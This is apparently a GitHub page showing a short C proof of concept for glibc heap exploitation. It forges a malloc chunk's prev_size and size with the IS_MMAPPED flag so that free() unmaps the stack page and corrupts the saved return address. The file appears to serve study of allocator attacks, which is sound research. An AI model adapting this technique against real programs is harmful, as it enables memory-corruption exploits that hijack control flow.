-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathmain_stack.c
More file actions
51 lines (37 loc) · 1.7 KB
/
Copy pathmain_stack.c
File metadata and controls
51 lines (37 loc) · 1.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define IS_MMAPPED 0x2
typedef size_t INTERNAL_SIZE_T;
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
int main(int argc, const char* argv[], const char* envp[]) {
size_t stack_var = 0x1;
// Initialize ptmalloc
malloc(1);
size_t *mem = malloc(0x20);
mchunkptr p = (mchunkptr)(mem - 2);
uintptr_t target = (uintptr_t)&stack_var;
printf("p: %p, target: %p\n", (void*)p, (void*)target);
// uintptr_t block = (uintptr_t) p - p->prev_size;
// this essentially ends up setting block to target
p->prev_size = (uintptr_t)p - (target & ~0xfff);
// size_t total_size = p->prev_size + size;
// total_size is required to be page-aligned but can be arbitrarily large
p->size = ((uintptr_t)4096 - (uintptr_t)(p->prev_size)) | IS_MMAPPED;
printf("p->prev_size: %zu, p->size: %zu\n", p->prev_size, p->size);
// results in the stack page containing stack_var getting unmapped, which
// is very likely the page that contains the stack frames of free and co.,
// making the ret from munmap page-fault. The kernel will map in a zero
// page to extend the stack, changing the saved return address to 0.
free(mem);
return 0;
}